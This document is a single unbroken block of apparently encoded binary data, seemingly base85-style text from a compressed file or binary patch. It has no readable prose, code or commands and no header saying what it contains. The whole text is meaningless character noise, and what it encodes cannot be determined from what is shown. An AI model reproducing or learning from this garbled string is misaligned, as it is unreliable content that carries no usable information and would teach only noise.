zR4eK8JFyPoX18e$IuT5=3Y7Ds8C~9_mT9cOy;yb#=e)D_9%Y&XIt@`RXAa~udDe3x zVl-rAWS>5s+BG&w7-YLkh8;p9dAapA;wjWG0Iv%H9mD_N_kfm$sO1smD-?W=RN9=P zRVPtsTw~I?u(LeWFsLT!A<{?IV|cIfF#Z;2F~{RTHrP^ERzOrN+Kgtwa^?>wZ}E` zw1?>8x?70aae_n8K5Ar5kdwRSo~AyiHXGLF^}h8eR-JurL@#lH zg&N;R-&~IKR*tz@L~e8P{l?^1g?9WIVdqq~OYRwHYO%Ee$ zYiqZ&k3STF%E1(;E?GZ=0tC14rNk7G2B*U7P4cgM5OG2%VA>uY&)`HjVs zZCOjeQKjjeY5gdmBWcdxSeOe~{K8-a;+Sv*_)v11Mp-jDqT)ZkN*-7f9C^?ih)2OC z#i3=HTffsha_p2lin$WnM{2kZ;tH5fbZ7ET_slZM=GFuI2(4m}e$)Wl`P7->nVFf? zRLy*4K6mNoiTx*os`<(?1hvFUI1sqMEAH{cXELgnc0I;ndZe9$G8DZMk8E2mw$7{s z?iR|;PQg5BHaGIrv{_eAuN-KK%csDy^};FDFyDS3UtOy0%g``vV|kyWSpLQLP3vxhX^jE@9~KZ17s7n=TNc!?McohB#h z&-;Cb%?0@%5i0lj1v>k0-pKH%nI60cAfuYEqm*8uXQ;1{!c}`u4NBL6a_uIMy$8rHKKvP?)4IU%UCoTe2& zFF9wzlxEy;G(cby_=RAuGf#9J;EB@^yiU+WNpbm_fN+JE z)$#C<37eT($`6|6yXND)kuB*71}ZVlT8Z?3*&!-M)PwCyEpSZ{U6Hd_us$+1F-O)2(WIG>9Z*fVuV)loa+?BZILV=D#ZmT(M{e zh)c%dSMz89AuA5644tWX@Wn`L(*+)5_8O)ucsY4@MkI=ID)%1CO_vM?5p)tqdH?NS zo*(Yt=HzM6NXNY8fduiS<9P1zw@5}owCrQ(_nrp`mSIv&z2>@eOS~;iID1kyB*H|cbB&3<`TSZ3JIrQb6kV3@88|-1AQqgwTJ@j^wQKi zX_eQeQQ=p3ma>>{NYTU93-)jHzc-G&Ii7g5TsereTAhlppll<2UW#DcTv8Fqlo`0L zA73VzM)+Qw+{xSs>_iY8zHIp9$!5HN(h`X$ZtF+2adHB!s;pFU(Shira}hR$e6#(Y z%k=yyx4a6}4yKD?tb9)>c%~(1yf3UCy;=|Y&G*f&TqeU#AU9@v*%Ewzu}{ z16tJ0%&EQn%sERbr~Dm5_07CxC$M0O6sw;4-N{}R>}4Dx#ER<<_wNj&?ifo2{ZqbQ z8PDTrW%+iPVf<;L5`o8i;Z8*{THX(9l`w^!8>DTP$RqFVSxU-v1V8Qced**HH^FSn zeDq^HTB~GybA-Iq?mk53V>-*+aIgb?Y*WbhS=Y2YAu6HC@()W0&HAgPzqN$?f_|EZ`AP65GDWjlmaD1#0&e9 zi=UdIZ4^>kx^!g=#-`j5E>Uw-Shukl)Ncu2+@NSfU7%={>lfFVG|!J|pJ^;X=|*p< z!BQLF8#SxY+jkV9Kg0DdmOz^W+5_uJk+pD>!bO5#b^KvZFR13A%uHRYc3_7r31-A& z;8I(IRAo!uHp{tzdZ3POn!2rcdY#YbEJ2 z)eU6m2RI8go;2SsnE7Em zB^7DEgVFS3^<3=!n;hLeUxa`GSZB1j!5vt-bR9->m3(x0N?CgyU)y1Wmu)Ix+88t&<)M}y1 zXR@Rj)qyIKg@R+Y?`ixv*iF+*X#=dY@WjM16=2Z#y}`T9X*;3t_!-aGIaY9wR|Q4N z)J70DFw+;};3G+V3){P}<;lYHO?^b2rKOoB@M)bMANiNf0LaO5M_tZWCvuLarlxqf zw}wm|JUxX1M6E*lQUJu7Nn!kDsWuN?{%DD-r7vr^^bQG0waV_$S7i(^tDWp)SRbP1`T<}sNmp|~ms%;}q^ zM7<#-T=M-@N)NAkM^r|xiduvh@)`3vJQ0isYH5kk{l!QS9E8m7UNv;`c@BJrQ8Y9} zQJe%nvWV>{P>}n7j56@Io}bn}17n21;}8xjpoth4LjOWBzVll(DRDTH54FwxC7FS> zkD8FPS?;OQ zIe$zT8<6SnbU~oPcBQ~5l+2OwzbjR8^gK2o%bgib5kfD;sH@&PrQ(Ny_ml2WBj6ji z4!`|}GvEc(8%_)D2y$e_d1iwmwg)R7}xk zCB=b6yn|9(&+Xw%0c~AK1)$mwf;o1WJhL5zdGq;!ivTND~%!jC(BW7pT$hpPjq_R!0DR;hV%-gdB#ka|xX8Y=oC~Q}*3XmO!$m$B=U@ebT$SyO zvzeO^k;6lscogp+k3To+Xt`ZEiadcz{J}C^iQ>ySKYpuSPgPKu1MCP`p;kFjhZr%t zr=$|K2N~?>Dk|Eg@@&+Z=us#i5Pc3W$<#enThEtnfs6azVry%|Xp`$UaTjNG4fpdx zb7h(S{Jx|D)50Gnd#?H$pB3(t(k$%Fu46b|^R&8_mfZLWu;2l5C}H=@X;n0ceK3=_ z;==^d*hm^(SV-F-ZGi6Iz1t7){`xO64nhF3`lQRN=Doi)q_fPDyv&G@h#BqjhF;L; zG;*R}wRD&Mt;NHZ!&2PaZtt7LuESX4^_=A{m=!NpPztm*C>6ywq>TnT{s6JCYg2hs z+LBGVS#~um_~A~cu<`tnznAn&jhj*UYNk@v`OUo+Byh<4n#5|qGioN^tygfC@JVJ@ z*GHV)9O2J=6wZ87-Cl`iOE(O;4T?d{i^7o!(e-$&ZUmwn~bc~M*M6yr2VkYAvtkVFh-$Y33RJ{8OvJr9 zZHQp_o7#>jAVbvmh2l5)OhOmrUg+rRlUgkpy*i!36hQN4QWO7Y70Y@l>3$|Q(_XXKP50-m zCvAB$W4p=pzl%s~J*jk$OsWJc&MoJ8pND>3-sfpGyR3+~@`Bf$?}2vhyJx*ZSxkED{#|-n81v-yN2&u*>H+H<0LPI${$qF5 z9~cfqqU8zJco2PYOoGQZriHePN0Qy252KH?|5LA{fVm+$*u6nHq5xEuI?x!rU_V1E znK!kaZqJMS0S+mViJr@~BLlGjdISxW2-(NJfkOPFD?r0wS0WpwG>i_W zG{oR=8pG)Sf?_`KhZrVQS(;Bm37BN8)-TuqYa6FVg@|HhL7rCCl02zol4wd@LGR6- z?&`uQD&d!0=}EE`#IA(J3)p(JV|KOdm+L$RM3#I2dVoxU-?Sy9HhI0PbzTN_Q>einZBdGQe)DPiwvO)(ptqsTC z7q)l%+uN)PBz~D(Jt=*}1bDD6hS{UGjjppla3@=|7&m>uP1UEUxSl{+t?Ye=8!^gh z#~eO^g3`w2s=t#m_Cmk@HesO~ZqNo%hxyPznJy>sAm6JCu-H{UJVg;T$Oy@`2kL=W z+km(zlaZoKk)K31#E%c;GJXSEz}%DqQgAh4@oDqd%HeA7NEW~A+5At!UQiEO7AjJ5 z636;VOZA1w>$9H+p9Y~~N#M?f>Q`F7FsRg6X!Jv0Dr#Z2KBsF=Gz`|Q}ONe6m2 zaoktNcdyK|9&Y(6-D|K%^n}={qTTc(obK$7k=^wLP1$R&=G2VnWWYXXM2tgfJuwY_ zV4wZu^!&GShdzXv*$7zSIvl$QM4PjGnCXm38)Z1loin`~|CNgLDwMSmq@sK-M4nB@ ze}RRx|JC_^;ih)6s>Nm5f}uOC*eg2%-ne~#^4Fd&e=t{52=5mwzH3Jxz*qdW zGtC5jv$N^zEA)*dCJG5;fq&Crusqf0l_UWj6e~b>lf;LZ?a{I$Y=%ggRbsDB|EdyHE z^kWG<#h8}OEq}X(^GJjt#{T;@eM3ANi30~()2#)(J>VJ+IFOy7b|?KC|Ke*zN{^ z0Mg_4z649!U_)5Y>-z7thsoEbcbdqsC3`GdRYSw|J?wUx7#2$b#F#x=V5OgQoAO_S z0Daf}ME_3yiW$Zx@iR+F5)9I@K!ZV)1cPuD_M*4$#tdtj&$^>!YHhfEeudW%^qs{a zwXM108)?I)Q+T6tIW5*^RC-O3zSUm$cY<}#^2LT@eG_YIBTsA3HK&qPv-IF^GC9h8 z@+C?X5*I@?R?XdvgCl!E?Gkg_(t2;eBSj%^98kt=g~>(s#NkiTdUXR zLC4O|_yMV;HXOXBU4=xGVdo@^Z1iCJn=B#9%DsMhtRhiktr_YeJ>mwgzz=Ywyl%y${bt z+uea_?{KYZ6v%UWc+=s`ghsJwMPWZQL-tuZ#`CMQ;}EirSnhBp zq^Z>kzjMDu1)@o3IV>TYi7!KO&8?&_>npT+-JS4>}62+X~Oi&l+h~$d|^?o)& z(=R`cLn@z^7;-SHJ{RB+)eHHAq}>-jfZ>A|w((S`^R<#k}@4t2Yq4fID(;q3u|0^**ywsH8 zyIJRHy;y4ZXNgySVZoiQM1l6_X1OMtB2Vc)!%kooAchD>UP&Bkyg>~o5^F+1L&e6N z)}Es$;ar66$(aM&B#-5ei?y{i9$gXp>%OsK6)uNkeLn}vO+P&SCqeovr21_nmH11@ zDWl_DGz=@c&+wZ<+Soa&K~<(7hUGf?nS>C1bXZPVI{GoQoL|6-ZdjxkPxIfe^$8L& z)iezuE?B6@{%zuK0*s{0qA4>yPlt|&&}|lU?+*N#v$b1))YjHE;O8&_z{tPhG?=^I zYpKI>C}`06EKbIzCMU%w-^BgBzBn##vfun&^^^t^`T)HNC7kXx#P^9Ej!&pRYG*+T z&mlY*FGt${lOmL?_uYMZaiqED*W>YKya5(8`>VfT8#IY8v#Na^ zC(7?KUypTnsj`CleGF!W&Bckp$xVZ&m?FR@y zr`6v3iD01?Wq-tAu9F?^)bqFW&}_7pB)hpYEX2n>nE8@Y>;R5|K%$Qg%_&;2g0OcD zT0Oa!ie@5QYfg_Jkgx*mMLH1AN{C=S{Ck4@g+v)7=;B}YkogSvVBYk9A*RE=r>-X-4Ol7L zwb_;j^f-h|8Cv`R5T1X($wUgEus}cc$fu6KOs^2(pRzzvA z#2cjXTxc+j*KG7_C%a&%KOa)yYoM}ez^6}W*?NQe-eNu_d^7P)@Un}P)M(u-e%wsK zFN~(RZ*IknS2nApFVn>`(E`2;e$- zZo_-umoGGU-jPt>6sZ9vO{V-x7#2%%`oMp z0jIa?F)W~%BHuP4d_um&gBF=OJJ=oGJDe@-;Ndn$R2Q`B)&Ad1dW`1pSCiT%)Hgb z%bIhbU3kB|Ahq*V?$kOM#4IFwD3WNgDsr1@fc%;8xocLZNxm$wT_k!RQGa?m0Zdw- zh}URlW@ZA2|3K?C_zE0p^16m`3ZQY&w4R3THS;1w;iT-F6lI*OVP6tLPUwe2n4)+` zVohkHT)y_JkURoj9HYjpCWWsp~+wY{ZRjGtEEBstVN{OFH_ z=ZK9hYxUw~g8@EcJM{JAdi%Xw1*csVD|O4)z!~*H2GX}0V`LTS@$aM4m}9!yY0WOn z)u5&G^_{*io_HPCR;b3C6_1er?fjY;+F336LnZ_9xC9SAJiJ?9ybVoO{;BXPJweS7 z@l?UOdZwy)^K@ud=Ds_}hSJ#iVw81T!Uv;W3>7L49ZNNR_{gUX31W{$i6Tj$%)9SF z{!yumJB$xG+}TUWvef#UZP*rFRu6Y zJ#JT{%WnUei8O!Owl*zOGu_i^eV?9|o>ita!>w7$GQc|k{rV@4PJP6O6j{uQ1}}C$ zf)5K~z`RH1Ogu>(Ztkk8d<%Z5exz>a0w$-@KQS!_gA3kR#(mQ3&;GuQl+6#xuW6|K zQROA_;&3^zSfy|zTj-Oqoy}wp!Ov?+D(ZaNo`-r! zM!Iql9(Y! zXnPlp!PCZTdMqeMg)aeK;`UH#ipmOAoaiYSK$J{cOfn3q zm5lbus=Nz1#qoQL+=XqM$_k-{#=Pd)*P%LnI9|X^AmQ_X z7=m^Wy&dssKS2KS7WIIYKmt}!vduyMWl8hY&1eCU-gEg9yF5eWc596bpap@Jir@44 z@2Dmkak9LiXjAr{*`ZoaCSUW#lK`9* zV9!ni{m4Ow;J2ZM2Hp{#Vtk%4&0@)#M>;mTKjsgjb~I_a$AXt+`4&GVfo`Mhw~LXHk&TVQe+!CZMhIo$SaFI5cKs0PN`SJkr}*R*O5GII{e-%LsNPUA8pJH@X`A?U2u)?B`cjc2gMh;|N0n_SfhcVDA@zPYioPMVYEoJ15(~02-Bam# zJj9jEmU%JnKjM9G+q>_1a0_|`Z>n^Qhu+AKF#Dpi|vInmEm z$}V}w)@r|ZbipMT%**iIApx3aXR+k4cp@xksIc;#k@NR9szjIj;(k^Ug|@1=tWrX# zkz-l?s?B1L^_cC;^dV(){$pZvu>-x^@Vj1~mWwGBhhS^L0d#!ulaV4^*)ItlP)vE$XPBR^>Yb8+gl zc${qN7~F2Aiasp>J;dl2c1|d0x&lZ12i^N4MsE9T{EMM&hQY`2r|E+erXyKg6y!kA zFLR6rJ7J%vf>`^NRvmkotujQ8@cX<>T&L-L23J(ELjEgo4|rI9K60e5_Cne%^hb_c z7XMcv&ho#bjqi-ZMl9Iw-j;Zc^D_WeDIWIYcl(X~;i%b4Gh>apR~uK9Up6h{LZ&l}`JjRgU0d2^R3H+2!G_@%vCZg?+4~d^*^}M!DLpd$r zaBFsP&?(z@!4c|}RDlm7Gm0lP1sWPar|R^c2;*-PIIR8YAy(viJ(xzq#9kc1s~%nN z;ycjnwMGc}z0R+j#u6JFU$W?A;BiVtGDJ3y`9op|*DaWkp5lTbCjgk@OmetZN;2b) ze1+TnzfeHz>c5q`cDrvO>V58@+RFL@HJL_Hp8_l#HNYaj&eW(BkspjQ{T?buYE1MNR9Ee2^O0cl^YgGu7q)^+jv(g4 zT2xotlK7_na{sI|qE#V*Hm3aSz})(+DKk%{=|Y5kd1Y0Fu*(79=yW@2!Qy*(mdo$I zJFH{B(A3maa!LTAvbH$r>Fdj2E+I!OoHqx>q0JvQPCvOZujHPOFKBP^OSByIjS|N$ zC@LzAu3S|!rtCWjk)CU03|yKX)x!{&lN~-nAuwzYSWKmI0?EvkRh4`+1I4q z(b0Do7ci%$``rb=3>RoN1?u}aNCsZg#zmmb;@!4zq6Bn;>VGRRu)g_k$rOXGY@iX< zd6ZArj|LAj2K;dIGBqBQ;fHo&);^szad%IOhQioWV@}IC-^sxOXi8qyQ3P#anAtdn z!;=M?ph22D8CwFaEl=j2bu=G)vK4=663-r^wRPEnjftQ6?g;N%tIJ~-W0h_@@a;ho zPrA4!i{HLX4j1BEbM{e9N)3#8jfxO(6+lITqiCO}+*K46&Z;NmbM>pL1Mrhnh{?$~yU;|eA*&4_6G+37F|7RW;{rn#{M#8UnDMeaW#kho9 zG|NU%@L|1zpg6Grk}(`y>G=cKyu)W|sJ=p`D|-WOga^7zlocDI=QU0SUo4cL&*B>Du5kc9E=b2Cu2P9-{>kD4aYKYt=v-)liH}z^44NzeuaJ~qe zM+}qbd2;%p`y%hC?#Wm1wb}^7U}B!z8l~Xd zi6i|diIqDo2^@4VGCDF%0+o1>$#$9mzvsz29br!{VaIdjKO=G-*Z;P|DVH0)k2boa z`}UWW*Fokah-nc(97B-C6=2MlL<|uw5^=XDL3)elgOkdBJd&lL>-1~ry z-Y9Nm7Je!*?XMb2F1*v^+9xS$EhMp_qt_omY|=S%q>Og~qi#Srk336eCUeaWHejp= z95_4ad_%R3(>IZ~aie7G?I~){^}6qO47dA(eXkTMi3A8eIU@$4VBW&qZaZ3|<2t$O z@ieoFnU#r}-4Fx8M@;!2YqzKAekkS=!%pjK)Bw=bOes3mE3A@MWN9>VIciSFep-4Q z#I&^N7dY!6w)r^r0MG%ZOc1ZWfrziw%`Pn3nwQeY>B4+n446)Fq3obYCB|tN;41U9 z>jd1tj1vSDvR8%L67y^1K9;I>q%c}8+tOMFiFdXxx>8pSQRnva$vW^)!6s}3c}J@{?pZRuD*+}D!{%Li|Kjk6oHf#-N+^t5pmu1 zD+u&co>2zxp{+|3_~FVW+Ek(&i?Qy<-^@zUY?(0BRa&(}Wh;54q6<>G&Km1I0#4PCcD z+Q!`HAKmA@$a?%{;Eij7mj}KU^H*C&LvOoBMKQxIfQVl##LkezpFo;awGHzd%Xe=i z0@&hVJve*W&ZBB_mIV_Io`R8lwU|y|Q_SntSjbneX1DF(bbz*;m7Duw+zu`?Datx= z)KE%MHc0e8uYuaJb5mIG73P%EYx4+0UwlA+AvFJrLd>W$K#`TB;mXh1nUgQ(J#atH-aFz|&|a_4ytJNya!?W}?7Tf}U6pk` zvvxgG)#_>#sco4-go;k>l11!_(3lTRd()V~| z4STM=i)QD8p}ObZq1|N%5G%YvJ8-ju$|Oh&GbR0>QtwVop%GX09tqBAj)H(lpuL15 zdjB}~IOTs^Mw=Z}NRyRh6C?GH0GcGtAfW{Cnd=dY}n95lqQ`P(2>~A!sFDx}20XAjsz7>yA)<+}5O!5i} z_`1Gl`mY#)&ZxlQ6L;AMM1Y#MyomK z%fq?TxRljfi^)=#<;synw|2mX*L<^ZM&xr?Eo_Bb&qbIGEKL&NVywNNl{5_a*IHCm z^pvn~_1*RbqhhO5)+^*{`|U;9-}l-3okVK@-ZbChw(ZSE)4IGR(Jy*e9cKU*MPKCE z*QPkSR=!-OQA%%@`}qg&*v%Vnz?W~O&07OeqYS_owuJ!j-u6u%Blb*G62kubnp#G) zC6R8JMt6hVAG`3YPamw7Z~i%Yew~g z2tM%K7M7-yGEpPrLh>2xXEH~;4z;(qg#GRZisVwi*mv(k4;wCBOYo zI}h)xe3y$%h32#=F~$Kx8Ky%(T=jH+U~PXo1*we5`R%6fWKIg=J**+OIpd1>4kn)3m{!TaksPEegKji&Fj z8IB0^GHH&I(I=vve^SWDDKZ6|7oAk9#%`lG>T=)+T5}WQTC}~`%DTpqX$rw6myP>$ ze0uC;Wsn1l=8$CxCoVZ+gj;O?^k?-2vj6rGCo&BV4kF@3DBk_;T*u={Kjql)Fu@s< z5&?I%+*ED&r#V6s%BY7fXGL|k=ntA}#itqsWCIurMIclEt}V~zmO8x&y9|d1r7TM_0G3oR?NvS6n z4jDh|Rs{Y>m$`YWE1JN3G-S4oX-Ik^eY?Yh`5*X^pTk+79$cqrQWb|T0Vkw$9=7Pt zJ89o}O<+0o7Zi3VE8`bYh3u>=I(ze}A>@`#+vhqU5koWJUkbA^nle5iaCGV}gcE zM~(ik6n+QoVp}r)L4^SKm(H%$3 zLbjjyzOCJ}FxhpUnd`aL;J26Bett9e-8_0s+p{1!B_SjLnPybbJ{p!35djFpPZESI zFD<3`$FFVuZFkai9B_zRdHa%Hb)$hOeL|zr1mmZ|2g83Dv^c}ZQ7QG>{La3-Q4=El z9$|=tOPv6cNOC4KZh)^fd`1XR%p26#6mnsa2L@)Xe--2l@2FuHKXAlwPC!1+bs0&U zTr`y0?W7WnpG)2>CH5<13A^4;m+&L;VgJ?v!X$7fHIcPuiEyne*ipXWNbnMT^v9_3 za~=HhzpLKbF=S+v0*6u%f~J<1=hK7Eb6W5Iz6{zVR|Rj~DFK)L+ zpf9T8;IOaWkR+Rcz%7PK9EhIoq14yB-m3E3Xn2~i*Kg(0E2B0>mQa>O!1%4BHKYwh zL=Az~h0_PLquPsNfLN-^=&^@s!mW2fkl$`74KKnP$}wj1wYlM=IhH1pPOL)A0eGDmavxW=tH)^*L}I zxKc@vr+s-Vih?lH=ij>Lv--m~W zVSeGWxdF6sxgJJC_+d#~CYjx0Wb)fZ~yFr!G_ z6yD6w=9S5eHngTARJM+;^|rxoWiXnr*?gYoUA>7$G^AHWbPEU zHWKnlbTYbHuSOjtz^n1jSjO^Mn%06S3cG^no*)8&u;1ASli$)C^IEPZprWV^4c@U= zeasb{5f2GGUP|w0D>^)&cOs-bPcn&$WI`g89R8%0z8=Om?gE-F7EEdBFK80r=~qD9 z68sGrSSf@G*aR#DDm(`M06M8}kdf>6aG_z);Zv_3%%{1O{*@}^kV$&N={0%c`!VRM z0MJU^VQqP)fGx2=4p>JWPZOw=K88@E?bRiXniWxj9dC9O>z_cs#j)dJtmiVf9I9wD zxVvc8#HA)X3E)G{KrI={q_$3Bj344ytE8VD8yo95+3xi}Rq%&v_-~c3fJ<7Fe;5VZ zsuTg-0HLhzO=AIJZ$HnQzx{KSKuWfITl<1l^H)2%vDT|q2jvgRY5Bw9ZY^y~!KHO+ z?i%?lM}Tl}VdU^7vI!IrZqzXaV@vr&aee;7w>m%nwIP!_L^**@CIRr9FavrOemBz{ z&fL3Y$d)7qMp4OWPQOyp#Q&X#J?hfs*_t#6G-0;e14xhO)@yg`gT5+)udI>C=rGtY z@j096pfMMSDC-~$#5m!O#OGNliKUmo=;(9Wtwx&c5fVWV(6I+hTyRjY4=it#PYln_ z%_EaRU|RfEnND}B!Hk?LCnZzitGAo*j?*CnpNrGjd5kYL^-5ayb>xY`|4H^7MVr-z!JPSwK&LBCW;Rwtxl(EF{u~mK!?}OV5 zK-TE%az;D_yIDxridZYI;?`NEwdAfaUqwQbO39Wc0g2@m$V}qXPpAP|gA5P*XpR$0 z4x{XKu&{I|t1uz!8zDqq-detxA67N&SuhIj*RPIzyDnjJ^a{EBj)%(=d?-lbVhA?B z7&h?;qkSgm30O#5tt);zWDpGw{RiYE9M|+t>7wgIF z)a5?xr*<6Q0{i5Qc#OR43pEYedT*TvEek zS?M~OSvq>Qs+B&irw$Llf>D2|lyGng3$I)nIXh3$z4t;?(?uTn_cagGtc|3dJBtl6 z zob!EJdiWQbIGO}X4cseEDdBbZcPK`4EHdNFZYRnO8`JH9-b~m$;;*r#&&#D!~W}6H3B`T+4^dJvE8ua z=VvQZ2HlE+~-#&{=9^xYCUxZ}h&7FGO$YVp7&{EkHfJ_?8|Q)sNtZ3xXKgwGfl zB)`IDPu2B&+)SH&PX8{{S&UJL2&HO+5pg8M(5UMrsHpz3@bXAl)SKvZh&lNBzdCOF zXWs$aQosH0O5X47rerl;X@jAP&mXcis%=`CAok&GzwGAoB%cNm!9oR;T6L16fnEjU7QAUz#q zGEJ^d`hQVScKg$4hhlVNrvqTekR#ux-K+My204r$NJTwNe?!Wpse-EM@#4i+I#$Qkw!&%^0u{eiZxHzieS{b|q;1*z_}BhV--rEEi&ddJIs3Mg z1>RBS;nY{BLgk;{{E+_@?zSQoAupiDJVFgZ5buPpUDMj`j@=1wkl8lM7Xe0^IQj zr^c=Mr?||pJac%LTu=PmN`dcV$0VE>pn-l)M&Gh#n+G8{jK;h7k&v)C8>1U3Aio4# z#VLLqODxa^pgL%D_1cU1Umk+mYr-fO=YFJA^aJ9{1ZTfcV;|3+4*b2h5=Xd%)v`;P zLds$BpP}sFo?&oUdP}qNa@D&RV#R+dn%=hc$GC{D!zvrPzxm`4y*|1ipZ0#ma=bd{ zUM&ZNvJ%B?`w22UTsP`fhmTqe+<7enF$p)ZgQ5N%B*)iSrmA?z1!Wc;7GAjOCsS{c zPDwQ>N7t=4TUQ2Lv6ZGoCi?WF>a8ze6J;)lwYp>kRiv95?)_Gjd0e z(Xa5P&Bf@Z<9f{h>{)hzMZTN8{o^3u**lCOqpa&BO(K3h@MDTW%guT)cGYTgONL;K zd~$gpE!ilWlqrdrVfSzjI^a3!(W!-wY_SnVD8_G&;L?|@V{(27uRkpOdXg_3)nsrm zGc?Rugu%xRcXcGfuoICVTDvVy@JZ@$=MXL+Hik zNyY{6(I^pQi?p>i{=ENv;Z5n|aqzfu5m%5z2bd;lEj64mg^2ZWI0pcXVa$B9YluA1 zmdLE{j6@GFa~pcVv!wNzqD;4esDy*gVQ><>>FnV6cw-}U;S4^;LMiC;?|5IA**MHO z&~;lg9dyp~9AEUsMkiMhO&k}5QJvb^3EVoT?vY(E=*!Dm8t#%ZPuo39P4?+05kXiq z5~00_{Gh-9oE{A1IEm30Ad3=!8ZBHGi|I&9J35Y1xKJ$0R)2B3RR`pJ`ENaw?EcVO zp;SvFgaFy_!k;7$?tlhPyh@2J00$pOjm;U*f!kdU_BT}N-u(OZKxSDcqoiHGj|tZj z45zl9WN`Y0(P_v!9H0o!e%BKVOC~apiJ=UuE z&%^)j5^`Ts(<+^I-0x=tp1G)?56O`*bxgqoV{tI{zmQQCHjjxzhbT|ild4mWf~%)9 zBh>`*F*)=CR%Lf;;k8%eZQV%S{6|@DKZM|DInCLb|C-sz$n`uMF}Rr-^WAZ-(rZ*K zQ==AZc}1czpx~N{?uJ#Wmy^#BOht8dEN0{2@jfF{Sg9hV%ExDKdqoYd(-$Wr>-dHf znz){Yzli>C1y+B^V`x)^Y2}CI^>m#tEA`4)^}3PWayKtrsi<$cy3O(E!pq@OxbV*!Ap(g1%6_B1^Y6$bkaz zMKEFoD7!-cm(;CGy$|KiK$U}5J=|bd>b8mc|MN*o%69JSd6tIxVBrmN43 zn~X0h?e?Z7;xexdScGgNX9JVY6%xWeO-ke(%(sx^8x0~6XUC0$+|@?EyVaGJE4>!| zS`~tKBTPTD;~)ro5UM^$`j{8ET24qM$fwxTWU{(VLdd4I%Q&o$oM?- zbp(^R6Kdyc6Q~2)sF}k-dP4H0taF{^?`)mQ93hy`<9*ZHGeXvgmS|=&Y8)I*Q%0V` zMUJG0{}Orcps>cL;+yOvA5^h7{S0(=trn5fSDU0Hvq&b(;s*p*zYwz20KyC!1Z z{c+a&y{>lDNwRZ{6aYoO@+nFH7U2HYI+Ymy7L*>$-m6RiT0i6u!-1xk-)VXB|EE%S z4!Uh9u8W+(M?9u{T-Oo3yBV=MkltpNl--&af5!8G^A?c+{YZQ&{Q?OGEg<5PJ04Dg zWC$8ff-$#srL2B#)c|19*>T=9=l7?fvT=@d>3U{Ag1|lA*x!gBB)o+I zdlRLe%4+cdo|-_-ZqT~Zn$`AsCuapGv1293;@NnR1Y840$5^%tU$GB(5R3TsXXld|@eBgDW;WOxb_4{-&ddpRyJHmDg|C0Bs@>zn9RQXR8Qh_TkQO=fQZZo z)K%K(pxq5~a$$|Ahyzn#&jlu>bhAdOd z&3$%Jp{VkV6_PS~BR7L4xojJjx3}qVrQQ@-%A$dP zo*r-9cR{zlx*ixg+?>l7smjjrsy{A>-dS{gUAqtgx1jyf7Ih5qOP5dTB}r!rRemW%W@ zRCG(WIr&AyIdn-{n*5we8l3(wz)#?j5*5MK1bdnXCv#T#(tCfR5P{+6lr5Rbu9ok9{~O>5Bymf=PeZ9sR$pS`Q$-@7?zUXzh#dEw z`!_n}zFDVniw62Q?~v);h_N&gYj6 zk3JeMBFUnJi%&18^2vDZ`8YcY=@7rZ=9FKDs&Zf?O?wj_u~Jxd(5 zub2;TFd*PVqR4!`@AzTN{2nGF7xnieqCPSuIn!?9^bre%(X|1^Bqlv~I0vxrw^Fpg zKc~r*ShHu>%xF=k-=tyHX=nH*Qj=5y++Ao5kkWr=)B zI?Mf{N81G9&_w|JT|M*g00|`4?JV_)CSE!g_7GBuf7YT)*o`ka!+~HZ$%aT6qHQ<$ z{?D{{i}&VVh~!ABf#1#Kk_LQ5KW~x*->I6!1OQOIJBu%qjb|tz4CdWY!0Qa8{-T0H zrHn{rjD*UEBr2#z|6A~kcW_jhIS(K=iC(XVa`s;pqJXl{0zwcl!aPpGqSd*BZ91~X zWo=+i>p{|6Ymb%$u(+DS{AU&ZB^#t=y-rJB5GLE zx}3Ec$YHD0%(9^cF3KMV!gH>p$NbNGAj6<+<&0=AUV~CIm|w6~3VXl!CtAEFG7=ti z*Gf}!{hb}0s?lJTjC2_~3#_9>nDtR+YR5(0o|F<$E8(6Q=D(OI<8=RhAn$XFYNYHd zKFU70)Q{=+^oEx4T{bRK!m>wLBilumR03;auqDfq6lOB?CwJ@`RNR($HUJ}>tPY3E z`5Ivu!LDMGG@hn8h3X%9%3Rh$X-qTj6b{y*8!qOn z(HYhpVc_691E@R4NeJ3<8hh!P@*pub3>ZikAv53?4#A7bN9$-1+IpZO9q;$_NH9$S zE}qm*sjHd|TZv2>cw?ir)WT#VG+Ksv9h9kgJmDLS)Dn}tkk_!*e0jT9#mdC=x4pp9 z3QCA;LXuad{K^h$W#PEX3KSELZYx8EP%{pk&|_9V2Yqv(8#_nP&y;0IjG`Sm zfC(3#eP)(GE3c+Sp@Mp4a9s3dWyW=3t@*WL-t& z10PL%T$Z5!VVi=`?Xbmai}m+KKP%(NaYQGz)Iv*5%i+`F#s(JPv*W=